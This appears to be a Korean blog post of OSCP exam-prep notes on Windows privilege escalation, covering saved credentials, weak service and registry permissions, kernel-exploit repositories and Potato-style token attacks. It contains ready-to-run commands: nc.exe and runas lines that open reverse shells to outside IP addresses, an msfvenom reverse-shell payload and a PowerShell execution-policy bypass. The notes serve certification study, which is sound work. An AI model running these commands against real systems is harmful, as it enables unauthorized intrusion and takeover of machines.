OSCP/시험대비

Windows privsec 테크닉

우와해커 2020. 9. 28. 16:31


https://medium.com/bugbountywriteup/privilege-escalation-in-windows-380bee3a2842


*주목해야할 권한 주체

Authenticated User

NT AUTHORITY\INTERACTIVE

BUILTIN\Users(로그인 사용자)

Everyone


스크립트마다 누락된 사항이 있을 수 있기 때문에 여러개를 돌려봐야함, 수동으로 찾아보는 것도 추천된다.


Sherlock (Deprecated) => Watsons 사용할 것

https://github.com/rasta-mouse/Watson


커맨드창에서 파워 쉘 실행 옵션

powershell -noprofile -nologo -ep bypass -file WindowsEnum.ps1




* RDP허용? O, 저장된 패스워드 발견? O => Test

저장된 패스워드 발견? 해당 유저로 nc 리버스 연결

PS> $secpasswd = ConvertTo-SecureString "password321" -AsPlainText -Force

$mycreds = New-Object System.Management.Automation.PSCredential ("john", $secpasswd)

$computer = "GHOST"

[System.Diagnostics.Process]::Start("C:\users\public\nc.exe","192.168.0.114 4444 -e cmd.exe", $mycreds.Username, $mycreds.Password, $computer)


PS> cmdkey /list

=> 엔트리 반환? Windows에 자신의 자격 증명을 저장한 특정 사용자로 실행할 수 있음을 의미합니다.

=> Administrator? 권한상승하여 프로그램 실행 가능

runas /savecred /user:도메인\Administrator "c:\windows\system32\cmd.exe /c \IP\share\nc.exe -nv 10.10.14.2 80 -e cmd.exe"



OS가 정기적으로 업데이트되면 이러한 익스플로잇은 큰 도움이되지 않습니다. 

Watson을 사용하여 누락 된 패치로 인한 취약성을 확인할 수 있습니다. 

Watson은 이미 winPEAS와 통합되어 있습니다. 

취약점을 발견 한 경우 아래 저장소에서 동일하게 다운로드 할 수 있습니다. 

대상에 맞는 아키텍처를 다운로드했는지 확인하십시오. 

바이너리를 컴파일해야하는 경우 Kali를 사용하여 크로스 컴파일 할 수 있습니다.

https://github.com/SecWiki/windows-kernel-exploits

https://github.com/abatchy17/WindowsExploits



Weak Service Permissions

* Authenticated users그룹이 서비스에 SERVICE_ALL_ACCESS를 가지고 있으면 서비스에서 실행중인 바이너리를 수정할 수 있습니다.


* 서비스 취약점 악용할때, 페이로드 포멧이 exe-service가 아니면 persistant쉘이 생성되지 않는다고 한다.

msfvenom -p windows/shell_reverse_tcp LPORT=31337 LHOST=YOURIPHERE -f exe-service > shell.exe



Weak Registry Permission

HKLM\SYSTEM\CurrentControlSet\Services\<service_name>

* Authenticated User 또는 NT AUTHORITY\INTERACTIVE가 서비스에 대해 FullControl을 가지고있는 경우 이 경우 서비스에서 실행될 바이너리를 변경할 수 있습니다.




Autorun

- 계속 의문이였던 사항인데, 권한상승을 위한 마지막 조건은 로그오프 후에 Admin그룹에 존재하는 유저로 로그인되야 한다.



Tater / Hot Potato

"Hot Potato (일명 : Potato)는 Windows의 알려진 문제를 활용하여 기본 구성, 즉 NTLM 릴레이 (특히 HTTP-> SMB 릴레이) 및 NBNS 스푸핑에서 로컬 권한 에스컬레이션을 얻습니다."

https://github.com/foxglovesec/Potato/tree/master/source/Potato/Potato/bin/Release



Token Manipulation

침투 테스트 계약에서 침투 테스터가 Apache, IIS, SQL, MySQL 등과 같은 서비스를 손상시킬 수있는 경우가 많습니다. 안타깝게도 이 서비스는 로컬 시스템이나 권한이 높은 계정으로 실행되지 않고 네트워크 서비스로 실행됩니다. 다음 익스플로잇을 사용하여 권한을 높일 수 있습니다.


1. Rotten Potato: Privilege Escalation from Service Accounts to SYSTEM

https://github.com/breenmachine/RottenPotatoNG

https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/

- 일반적으로 미터프리터를 이용했으나 RottenPotatoNG는 standalone exe파일을 제공한다.


2. Juicy Potato

https://github.com/ohpe/juicy-potato/releases


meterpreter> getsystem

'OSCP > 시험대비' 카테고리의 다른 글

Linux privsec 테크닉  (0) 2020.09.29
OSCP 후기  (0) 2020.07.30
Manual SQL Injection for OSCP  (0) 2020.07.22
Enumeration for Escalation 스크립트 비교 (bat, exe, sh)  (0) 2020.07.17
Manual Privilege Escalation  (0) 2020.07.15